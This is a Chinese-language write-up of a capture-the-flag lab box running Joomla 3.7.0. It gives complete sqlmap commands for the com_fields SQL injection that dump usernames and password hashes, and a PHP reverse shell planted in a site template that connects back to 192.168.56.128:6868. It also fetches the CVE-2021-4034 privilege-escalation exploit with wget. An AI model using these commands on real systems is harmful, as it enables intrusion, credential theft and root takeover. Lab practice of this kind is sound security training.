搭建可能出现的情况和前面一样
第一次导入镜像失败,再次尝试
出现下面的情况可以参考:
以上情况博主都遇到了,不过都能搜到攻略
信息收集
arp-scan -l
我这里NET 模式,所以192.168.56.143是我们的靶机IP
nmap -p- -sV -O -sC 192.168.56.143
只有80http,访问是登陆框,而且当前用户home?,没有权限
扫描目录看是否有价值的东西,找到后台地址
漏洞发现
框架的扫描工具——joomscan,版本是Joomla 3.7.0
searchsploit kali自带的漏洞库
sql注入
sqlmap -u "http://192.168.56.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
有几个数据库,查看joomladb 里边的数据
sqlmap -u "http://192.168.56.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch
users的username,和password
sqlmap -u "http://192.168.56.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
查看password和username,密码是md5加密的
sqlmap -u "http://192.168.56.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C 'username,password' -p list[fullordering] --dump --batch
john解密(cmd5破击收费欧https://www.cmd5.com/)
反弹shell
登录到后台,在编辑模板出可以插入shell
插入到index.php 反弹shell(https://blog.csdn.net/weixin_31755771/article/details/115501452)
$sock = fsockopen("192.168.56.128","6868" );
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
访问/index.php
提权
https://github.com/berdav/CVE-2021-4034
把脚本放到靶机
本地开启http服务
wget http://192.168.56.1/CVE-2021-4034.zip
解压之后,make编译一下,运行之后,提权到root权限